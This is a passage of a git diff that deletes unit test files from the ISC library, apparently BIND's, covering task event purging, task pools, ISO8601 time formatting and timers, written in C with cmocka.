-	SIGNAL(&cv);
-
-	isc_task_shutdown(task);
-
-	isc_interval_set(&interval, 5, 0);
-
-	/*
-	 * Wait for shutdown processing to complete.
-	 */
-	while (!atomic_load(&done)) {
-		result = isc_time_nowplusinterval(&now, &interval);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		WAITUNTIL(&cv, &lock, &now);
-	}
-
-	UNLOCK(&lock);
-
-	isc_task_detach(&task);
-
-	assert_int_equal(eventcnt, event_cnt - exp_purged);
-}
-
-/*
- * Purge test:
- * A call to isc_task_purge(task, sender, type, tag) purges all events of
- * type 'type' and with tag 'tag' not marked as unpurgeable from sender
- * from the task's " queue and returns the number of events purged.
- */
-static void
-purge(void **state) {
-	UNUSED(state);
-
-	/* Try purging on a specific sender. */
-	if (verbose) {
-		print_message("# testing purge on 2,4,8 expecting 1\n");
-	}
-	purge_sender = &senders[2];
-	purge_type_first = 4;
-	purge_type_last = 4;
-	purge_tag = (void *)8;
-	testrange = false;
-	test_purge(1, 4, 7, 1);
-
-	/* Try purging on all senders. */
-	if (verbose) {
-		print_message("# testing purge on 0,4,8 expecting 3\n");
-	}
-	purge_sender = NULL;
-	purge_type_first = 4;
-	purge_type_last = 4;
-	purge_tag = (void *)8;
-	testrange = false;
-	test_purge(1, 4, 7, 3);
-
-	/* Try purging on all senders, specified type, all tags. */
-	if (verbose) {
-		print_message("# testing purge on 0,4,0 expecting 15\n");
-	}
-	purge_sender = NULL;
-	purge_type_first = 4;
-	purge_type_last = 4;
-	purge_tag = NULL;
-	testrange = false;
-	test_purge(1, 4, 7, 15);
-
-	/* Try purging on a specified tag, no such type. */
-	if (verbose) {
-		print_message("# testing purge on 0,99,8 expecting 0\n");
-	}
-	purge_sender = NULL;
-	purge_type_first = 99;
-	purge_type_last = 99;
-	purge_tag = (void *)8;
-	testrange = false;
-	test_purge(1, 4, 7, 0);
-
-	/* Try purging on specified sender, type, all tags. */
-	if (verbose) {
-		print_message("# testing purge on 3,5,0 expecting 5\n");
-	}
-	purge_sender = &senders[3];
-	purge_type_first = 5;
-	purge_type_last = 5;
-	purge_tag = NULL;
-	testrange = false;
-	test_purge(1, 4, 7, 5);
-}
-
-/*
- * Purge range test:
- * A call to isc_event_purgerange(task, sender, first, last, tag) purges
- * all events not marked unpurgeable from sender 'sender' and of type within
- * the range 'first' to 'last' inclusive from the task's event queue and
- * returns the number of tasks purged.
- */
-
-static void
-purgerange(void **state) {
-	UNUSED(state);
-
-	/* Now let's try some ranges. */
-	/* testing purgerange on 2,4-5,8 expecting 1 */
-	purge_sender = &senders[2];
-	purge_type_first = 4;
-	purge_type_last = 5;
-	purge_tag = (void *)8;
-	testrange = true;
-	test_purge(1, 4, 7, 1);
-
-	/* Try purging on all senders. */
-	if (verbose) {
-		print_message("# testing purge on 0,4-5,8 expecting 5\n");
-	}
-	purge_sender = NULL;
-	purge_type_first = 4;
-	purge_type_last = 5;
-	purge_tag = (void *)8;
-	testrange = true;
-	test_purge(1, 4, 7, 5);
-
-	/* Try purging on all senders, specified type, all tags. */
-	if (verbose) {
-		print_message("# testing purge on 0,5-6,0 expecting 28\n");
-	}
-	purge_sender = NULL;
-	purge_type_first = 5;
-	purge_type_last = 6;
-	purge_tag = NULL;
-	testrange = true;
-	test_purge(1, 4, 7, 28);
-
-	/* Try purging on a specified tag, no such type. */
-	if (verbose) {
-		print_message("# testing purge on 0,99-101,8 expecting 0\n");
-	}
-	purge_sender = NULL;
-	purge_type_first = 99;
-	purge_type_last = 101;
-	purge_tag = (void *)8;
-	testrange = true;
-	test_purge(1, 4, 7, 0);
-
-	/* Try purging on specified sender, type, all tags. */
-	if (verbose) {
-		print_message("# testing purge on 3,5-6,0 expecting 10\n");
-	}
-	purge_sender = &senders[3];
-	purge_type_first = 5;
-	purge_type_last = 6;
-	purge_tag = NULL;
-	testrange = true;
-	test_purge(1, 4, 7, 10);
-}
-
-/*
- * Helpers for purge event tests
- */
-static void
-pge_event1(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	LOCK(&lock);
-	while (!atomic_load(&started)) {
-		WAIT(&cv, &lock);
-	}
-	UNLOCK(&lock);
-
-	isc_event_free(&event);
-}
-
-static void
-pge_event2(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	++eventcnt;
-	isc_event_free(&event);
-}
-
-static void
-pge_sde(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	LOCK(&lock);
-	atomic_store(&done, true);
-	SIGNAL(&cv);
-	UNLOCK(&lock);
-
-	isc_event_free(&event);
-}
-
-static void
-try_purgeevent(bool purgeable) {
-	isc_result_t result;
-	isc_task_t *task = NULL;
-	bool purged;
-	isc_event_t *event1 = NULL;
-	isc_event_t *event2 = NULL;
-	isc_event_t *event2_clone = NULL;
-	isc_time_t now;
-	isc_interval_t interval;
-
-	atomic_init(&started, false);
-	atomic_init(&done, false);
-	eventcnt = 0;
-
-	isc_condition_init(&cv);
-
-	result = isc_task_create(taskmgr, 0, &task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_onshutdown(task, pge_sde, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Block the task on cv.
-	 */
-	event1 = isc_event_allocate(test_mctx, (void *)1, (isc_eventtype_t)1,
-				    pge_event1, NULL, sizeof(*event1));
-	assert_non_null(event1);
-	isc_task_send(task, &event1);
-
-	event2 = isc_event_allocate(test_mctx, (void *)1, (isc_eventtype_t)1,
-				    pge_event2, NULL, sizeof(*event2));
-	assert_non_null(event2);
-
-	event2_clone = event2;
-
-	if (purgeable) {
-		event2->ev_attributes &= ~ISC_EVENTATTR_NOPURGE;
-	} else {
-		event2->ev_attributes |= ISC_EVENTATTR_NOPURGE;
-	}
-
-	isc_task_send(task, &event2);
-
-	purged = isc_task_purgeevent(task, event2_clone);
-	assert_int_equal(purgeable, purged);
-
-	/*
-	 * Unblock the task, allowing event processing.
-	 */
-	LOCK(&lock);
-	atomic_store(&started, true);
-	SIGNAL(&cv);
-
-	isc_task_shutdown(task);
-
-	isc_interval_set(&interval, 5, 0);
-
-	/*
-	 * Wait for shutdown processing to complete.
-	 */
-	while (!atomic_load(&done)) {
-		result = isc_time_nowplusinterval(&now, &interval);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		WAITUNTIL(&cv, &lock, &now);
-	}
-
-	UNLOCK(&lock);
-
-	isc_task_detach(&task);
-
-	assert_int_equal(eventcnt, (purgeable ? 0 : 1));
-}
-
-/*
- * Purge event test:
- * When the event is marked as purgeable, a call to
- * isc_task_purgeevent(task, event) purges the event 'event' from the
- * task's queue and returns true.
- */
-
-static void
-purgeevent(void **state) {
-	UNUSED(state);
-
-	try_purgeevent(true);
-}
-
-/*
- * Purge event not purgeable test:
- * When the event is not marked as purgable, a call to
- * isc_task_purgeevent(task, event) does not purge the event
- * 'event' from the task's queue and returns false.
- */
-
-static void
-purgeevent_notpurge(void **state) {
-	UNUSED(state);
-
-	try_purgeevent(false);
-}
-
-int
-main(int argc, char **argv) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(manytasks),
-		cmocka_unit_test_setup_teardown(all_events, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(basic, _setup2, _teardown),
-		cmocka_unit_test_setup_teardown(create_task, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(post_shutdown, _setup2,
-						_teardown),
-		cmocka_unit_test_setup_teardown(privilege_drop, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(privileged_events, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(purge, _setup2, _teardown),
-		cmocka_unit_test_setup_teardown(purgeevent, _setup2, _teardown),
-		cmocka_unit_test_setup_teardown(purgeevent_notpurge, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(purgerange, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(task_shutdown, _setup4,
-						_teardown),
-		cmocka_unit_test_setup_teardown(task_exclusive, _setup4,
-						_teardown),
-	};
-	struct CMUnitTest selected[sizeof(tests) / sizeof(tests[0])];
-	size_t i;
-	int c;
-
-	memset(selected, 0, sizeof(selected));
-
-	while ((c = isc_commandline_parse(argc, argv, "lt:v")) != -1) {
-		switch (c) {
-		case 'l':
-			for (i = 0; i < (sizeof(tests) / sizeof(tests[0])); i++)
-			{
-				if (tests[i].name != NULL) {
-					fprintf(stdout, "%s\n", tests[i].name);
-				}
-			}
-			return (0);
-		case 't':
-			if (!cmocka_add_test_byname(
-				    tests, isc_commandline_argument, selected))
-			{
-				fprintf(stderr, "unknown test '%s'\n",
-					isc_commandline_argument);
-				exit(1);
-			}
-			break;
-		case 'v':
-			verbose = true;
-			break;
-		default:
-			break;
-		}
-	}
-
-	if (selected[0].name != NULL) {
-		return (cmocka_run_group_tests(selected, NULL, NULL));
-	} else {
-		return (cmocka_run_group_tests(tests, NULL, NULL));
-	}
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/taskpool_test.c b/lib/isc/tests/taskpool_test.c
deleted file mode 100644
index 58e0094f72..0000000000
--- a/lib/isc/tests/taskpool_test.c
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/task.h>
-#include <isc/taskpool.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-#define TASK_MAGIC    ISC_MAGIC('T', 'A', 'S', 'K')
-#define VALID_TASK(t) ISC_MAGIC_VALID(t, TASK_MAGIC)
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-/* Create a taskpool */
-static void
-create_pool(void **state) {
-	isc_result_t result;
-	isc_taskpool_t *pool = NULL;
-
-	UNUSED(state);
-
-	result = isc_taskpool_create(taskmgr, test_mctx, 8, 2, false, &pool);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_taskpool_size(pool), 8);
-
-	isc_taskpool_destroy(&pool);
-	assert_null(pool);
-}
-
-/* Resize a taskpool */
-static void
-expand_pool(void **state) {
-	isc_result_t result;
-	isc_taskpool_t *pool1 = NULL, *pool2 = NULL, *hold = NULL;
-
-	UNUSED(state);
-
-	result = isc_taskpool_create(taskmgr, test_mctx, 10, 2, false, &pool1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_taskpool_size(pool1), 10);
-
-	/* resizing to a smaller size should have no effect */
-	hold = pool1;
-	result = isc_taskpool_expand(&pool1, 5, false, &pool2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_taskpool_size(pool2), 10);
-	assert_ptr_equal(pool2, hold);
-	assert_null(pool1);
-	pool1 = pool2;
-	pool2 = NULL;
-
-	/* resizing to the same size should have no effect */
-	hold = pool1;
-	result = isc_taskpool_expand(&pool1, 10, false, &pool2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_taskpool_size(pool2), 10);
-	assert_ptr_equal(pool2, hold);
-	assert_null(pool1);
-	pool1 = pool2;
-	pool2 = NULL;
-
-	/* resizing to larger size should make a new pool */
-	hold = pool1;
-	result = isc_taskpool_expand(&pool1, 20, false, &pool2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_taskpool_size(pool2), 20);
-	assert_ptr_not_equal(pool2, hold);
-	assert_null(pool1);
-
-	isc_taskpool_destroy(&pool2);
-	assert_null(pool2);
-}
-
-/* Get tasks */
-static void
-get_tasks(void **state) {
-	isc_result_t result;
-	isc_taskpool_t *pool = NULL;
-	isc_task_t *task1 = NULL, *task2 = NULL, *task3 = NULL;
-
-	UNUSED(state);
-
-	result = isc_taskpool_create(taskmgr, test_mctx, 2, 2, false, &pool);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_taskpool_size(pool), 2);
-
-	/* two tasks in pool; make sure we can access them more than twice */
-	isc_taskpool_gettask(pool, &task1);
-	assert_true(VALID_TASK(task1));
-
-	isc_taskpool_gettask(pool, &task2);
-	assert_true(VALID_TASK(task2));
-
-	isc_taskpool_gettask(pool, &task3);
-	assert_true(VALID_TASK(task3));
-
-	isc_task_destroy(&task1);
-	isc_task_destroy(&task2);
-	isc_task_destroy(&task3);
-
-	isc_taskpool_destroy(&pool);
-	assert_null(pool);
-}
-
-/* Set privileges */
-static void
-set_privilege(void **state) {
-	isc_result_t result;
-	isc_taskpool_t *pool = NULL;
-	isc_task_t *task1 = NULL, *task2 = NULL, *task3 = NULL;
-
-	UNUSED(state);
-
-	result = isc_taskpool_create(taskmgr, test_mctx, 2, 2, true, &pool);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_taskpool_size(pool), 2);
-
-	isc_taskpool_gettask(pool, &task1);
-	isc_taskpool_gettask(pool, &task2);
-	isc_taskpool_gettask(pool, &task3);
-
-	assert_true(VALID_TASK(task1));
-	assert_true(VALID_TASK(task2));
-	assert_true(VALID_TASK(task3));
-
-	assert_true(isc_task_getprivilege(task1));
-	assert_true(isc_task_getprivilege(task2));
-	assert_true(isc_task_getprivilege(task3));
-
-	isc_task_destroy(&task1);
-	isc_task_destroy(&task2);
-	isc_task_destroy(&task3);
-
-	isc_taskpool_destroy(&pool);
-	assert_null(pool);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(create_pool, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(expand_pool, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(get_tasks, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(set_privilege, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/time_test.c b/lib/isc/tests/time_test.c
deleted file mode 100644
index 52e0653422..0000000000
--- a/lib/isc/tests/time_test.c
+++ /dev/null
@@ -1,321 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/result.h>
-#include <isc/time.h>
-#include <isc/util.h>
-
-/* parse http time stamp */
-static void
-isc_time_parsehttptimestamp_test(void **state) {
-	isc_result_t result;
-	isc_time_t t, x;
-	char buf[ISC_FORMATHTTPTIMESTAMP_SIZE];
-
-	UNUSED(state);
-
-	setenv("TZ", "America/Los_Angeles", 1);
-	result = isc_time_now(&t);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_time_formathttptimestamp(&t, buf, sizeof(buf));
-	result = isc_time_parsehttptimestamp(buf, &x);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_time_seconds(&t), isc_time_seconds(&x));
-}
-
-/* print UTC in ISO8601 */
-static void
-isc_time_formatISO8601_test(void **state) {
-	isc_result_t result;
-	isc_time_t t;
-	char buf[64];
-
-	UNUSED(state);
-
-	setenv("TZ", "America/Los_Angeles", 1);
-	result = isc_time_now(&t);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* check formatting: yyyy-mm-ddThh:mm:ssZ */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_formatISO8601(&t, buf, sizeof(buf));
-	assert_int_equal(strlen(buf), 20);
-	assert_int_equal(buf[4], '-');
-	assert_int_equal(buf[7], '-');
-	assert_int_equal(buf[10], 'T');
-	assert_int_equal(buf[13], ':');
-	assert_int_equal(buf[16], ':');
-	assert_int_equal(buf[19], 'Z');
-
-	/* check time conversion correctness */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_settoepoch(&t);
-	isc_time_formatISO8601(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "1970-01-01T00:00:00Z");
-
-	memset(buf, 'X', sizeof(buf));
-	isc_time_set(&t, 1450000000, 123000000);
-	isc_time_formatISO8601(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "2015-12-13T09:46:40Z");
-}
-
-/* print UTC in ISO8601 with milliseconds */
-static void
-isc_time_formatISO8601ms_test(void **state) {
-	isc_result_t result;
-	isc_time_t t;
-	char buf[64];
-
-	UNUSED(state);
-
-	setenv("TZ", "America/Los_Angeles", 1);
-	result = isc_time_now(&t);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* check formatting: yyyy-mm-ddThh:mm:ss.sssZ */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_formatISO8601ms(&t, buf, sizeof(buf));
-	assert_int_equal(strlen(buf), 24);
-	assert_int_equal(buf[4], '-');
-	assert_int_equal(buf[7], '-');
-	assert_int_equal(buf[10], 'T');
-	assert_int_equal(buf[13], ':');
-	assert_int_equal(buf[16], ':');
-	assert_int_equal(buf[19], '.');
-	assert_int_equal(buf[23], 'Z');
-
-	/* check time conversion correctness */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_settoepoch(&t);
-	isc_time_formatISO8601ms(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "1970-01-01T00:00:00.000Z");
-
-	memset(buf, 'X', sizeof(buf));
-	isc_time_set(&t, 1450000000, 123000000);
-	isc_time_formatISO8601ms(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "2015-12-13T09:46:40.123Z");
-}
-
-/* print UTC in ISO8601 with microseconds */
-static void
-isc_time_formatISO8601us_test(void **state) {
-	isc_result_t result;
-	isc_time_t t;
-	char buf[64];
-
-	UNUSED(state);
-
-	setenv("TZ", "America/Los_Angeles", 1);
-	result = isc_time_now_hires(&t);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* check formatting: yyyy-mm-ddThh:mm:ss.ssssssZ */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_formatISO8601us(&t, buf, sizeof(buf));
-	assert_int_equal(strlen(buf), 27);
-	assert_int_equal(buf[4], '-');
-	assert_int_equal(buf[7], '-');
-	assert_int_equal(buf[10], 'T');
-	assert_int_equal(buf[13], ':');
-	assert_int_equal(buf[16], ':');
-	assert_int_equal(buf[19], '.');
-	assert_int_equal(buf[26], 'Z');
-
-	/* check time conversion correctness */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_settoepoch(&t);
-	isc_time_formatISO8601us(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "1970-01-01T00:00:00.000000Z");
-
-	memset(buf, 'X', sizeof(buf));
-	isc_time_set(&t, 1450000000, 123456000);
-	isc_time_formatISO8601us(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "2015-12-13T09:46:40.123456Z");
-}
-
-/* print local time in ISO8601 */
-static void
-isc_time_formatISO8601L_test(void **state) {
-	isc_result_t result;
-	isc_time_t t;
-	char buf[64];
-
-	UNUSED(state);
-
-	setenv("TZ", "America/Los_Angeles", 1);
-	result = isc_time_now(&t);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* check formatting: yyyy-mm-ddThh:mm:ss */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_formatISO8601L(&t, buf, sizeof(buf));
-	assert_int_equal(strlen(buf), 19);
-	assert_int_equal(buf[4], '-');
-	assert_int_equal(buf[7], '-');
-	assert_int_equal(buf[10], 'T');
-	assert_int_equal(buf[13], ':');
-	assert_int_equal(buf[16], ':');
-
-	/* check time conversion correctness */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_settoepoch(&t);
-	isc_time_formatISO8601L(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "1969-12-31T16:00:00");
-
-	memset(buf, 'X', sizeof(buf));
-	isc_time_set(&t, 1450000000, 123000000);
-	isc_time_formatISO8601L(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "2015-12-13T01:46:40");
-}
-
-/* print local time in ISO8601 with milliseconds */
-static void
-isc_time_formatISO8601Lms_test(void **state) {
-	isc_result_t result;
-	isc_time_t t;
-	char buf[64];
-
-	UNUSED(state);
-
-	setenv("TZ", "America/Los_Angeles", 1);
-	result = isc_time_now(&t);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* check formatting: yyyy-mm-ddThh:mm:ss.sss */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_formatISO8601Lms(&t, buf, sizeof(buf));
-	assert_int_equal(strlen(buf), 23);
-	assert_int_equal(buf[4], '-');
-	assert_int_equal(buf[7], '-');
-	assert_int_equal(buf[10], 'T');
-	assert_int_equal(buf[13], ':');
-	assert_int_equal(buf[16], ':');
-	assert_int_equal(buf[19], '.');
-
-	/* check time conversion correctness */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_settoepoch(&t);
-	isc_time_formatISO8601Lms(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "1969-12-31T16:00:00.000");
-
-	memset(buf, 'X', sizeof(buf));
-	isc_time_set(&t, 1450000000, 123000000);
-	isc_time_formatISO8601Lms(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "2015-12-13T01:46:40.123");
-}
-
-/* print local time in ISO8601 with microseconds */
-static void
-isc_time_formatISO8601Lus_test(void **state) {
-	isc_result_t result;
-	isc_time_t t;
-	char buf[64];
-
-	UNUSED(state);
-
-	setenv("TZ", "America/Los_Angeles", 1);
-	result = isc_time_now_hires(&t);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* check formatting: yyyy-mm-ddThh:mm:ss.ssssss */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_formatISO8601Lus(&t, buf, sizeof(buf));
-	assert_int_equal(strlen(buf), 26);
-	assert_int_equal(buf[4], '-');
-	assert_int_equal(buf[7], '-');
-	assert_int_equal(buf[10], 'T');
-	assert_int_equal(buf[13], ':');
-	assert_int_equal(buf[16], ':');
-	assert_int_equal(buf[19], '.');
-
-	/* check time conversion correctness */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_settoepoch(&t);
-	isc_time_formatISO8601Lus(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "1969-12-31T16:00:00.000000");
-
-	memset(buf, 'X', sizeof(buf));
-	isc_time_set(&t, 1450000000, 123456000);
-	isc_time_formatISO8601Lus(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "2015-12-13T01:46:40.123456");
-}
-
-/* print UTC time as yyyymmddhhmmsssss */
-static void
-isc_time_formatshorttimestamp_test(void **state) {
-	isc_result_t result;
-	isc_time_t t;
-	char buf[64];
-
-	UNUSED(state);
-
-	setenv("TZ", "America/Los_Angeles", 1);
-	result = isc_time_now(&t);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/* check formatting: yyyymmddhhmmsssss */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_formatshorttimestamp(&t, buf, sizeof(buf));
-	assert_int_equal(strlen(buf), 17);
-
-	/* check time conversion correctness */
-	memset(buf, 'X', sizeof(buf));
-	isc_time_settoepoch(&t);
-	isc_time_formatshorttimestamp(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "19700101000000000");
-
-	memset(buf, 'X', sizeof(buf));
-	isc_time_set(&t, 1450000000, 123000000);
-	isc_time_formatshorttimestamp(&t, buf, sizeof(buf));
-	assert_string_equal(buf, "20151213094640123");
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_time_parsehttptimestamp_test),
-		cmocka_unit_test(isc_time_formatISO8601_test),
-		cmocka_unit_test(isc_time_formatISO8601ms_test),
-		cmocka_unit_test(isc_time_formatISO8601us_test),
-		cmocka_unit_test(isc_time_formatISO8601L_test),
-		cmocka_unit_test(isc_time_formatISO8601Lms_test),
-		cmocka_unit_test(isc_time_formatISO8601Lus_test),
-		cmocka_unit_test(isc_time_formatshorttimestamp_test),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/timer_test.c b/lib/isc/tests/timer_test.c
deleted file mode 100644
index dc1223e318..0000000000
--- a/lib/isc/tests/timer_test.c
+++ /dev/null
@@ -1,627 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/atomic.h>
-#include <isc/commandline.h>
-#include <isc/condition.h>
-#include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/task.h>
-#include <isc/time.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include "../timer.c"
-#include "isctest.h"
-
-/* Set to true (or use -v option) for verbose output */
-static bool verbose = false;
-
-#define FUDGE_SECONDS	  0	    /* in absence of clock_getres() */
-#define FUDGE_NANOSECONDS 500000000 /* in absence of clock_getres() */
-
-static isc_timer_t *timer = NULL;
-static isc_condition_t cv;
-static isc_mutex_t mx;
-static isc_time_t endtime;
-static isc_mutex_t lasttime_mx;
-static isc_time_t lasttime;
-static int seconds;
-static int nanoseconds;
-static atomic_int_fast32_t eventcnt;
-static atomic_uint_fast32_t errcnt;
-static int nevents;
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	/* Timer tests require two worker threads */
-	result = isc_test_begin(NULL, true, 2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	atomic_init(&errcnt, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-static void
-shutdown(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-
-	UNUSED(task);
-
-	/*
-	 * Signal shutdown processing complete.
-	 */
-	result = isc_mutex_lock(&mx);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_condition_signal(&cv);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_mutex_unlock(&mx);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_event_free(&event);
-}
-
-static void
-setup_test(isc_timertype_t timertype, isc_time_t *expires,
-	   isc_interval_t *interval,
-	   void (*action)(isc_task_t *, isc_event_t *)) {
-	isc_result_t result;
-	isc_task_t *task = NULL;
-	isc_time_settoepoch(&endtime);
-	atomic_init(&eventcnt, 0);
-
-	isc_mutex_init(&mx);
-	isc_mutex_init(&lasttime_mx);
-
-	isc_condition_init(&cv);
-
-	LOCK(&mx);
-
-	result = isc_task_create(taskmgr, 0, &task);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_onshutdown(task, shutdown, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_mutex_lock(&lasttime_mx);
-	result = isc_time_now(&lasttime);
-	isc_mutex_unlock(&lasttime_mx);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_timer_create(timermgr, timertype, expires, interval, task,
-				  action, (void *)timertype, &timer);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Wait for shutdown processing to complete.
-	 */
-	while (atomic_load(&eventcnt) != nevents) {
-		result = isc_condition_wait(&cv, &mx);
-		assert_int_equal(result, ISC_R_SUCCESS);
-	}
-
-	UNLOCK(&mx);
-
-	assert_int_equal(atomic_load(&errcnt), ISC_R_SUCCESS);
-
-	isc_task_detach(&task);
-	isc_mutex_destroy(&mx);
-	(void)isc_condition_destroy(&cv);
-}
-
-static void
-set_global_error(isc_result_t result) {
-	(void)atomic_compare_exchange_strong(
-		&errcnt, &(uint_fast32_t){ ISC_R_SUCCESS }, result);
-}
-
-static void
-subthread_assert_true(bool expected, const char *file, unsigned int line) {
-	if (!expected) {
-		printf("# %s:%u subthread_assert_true\n", file, line);
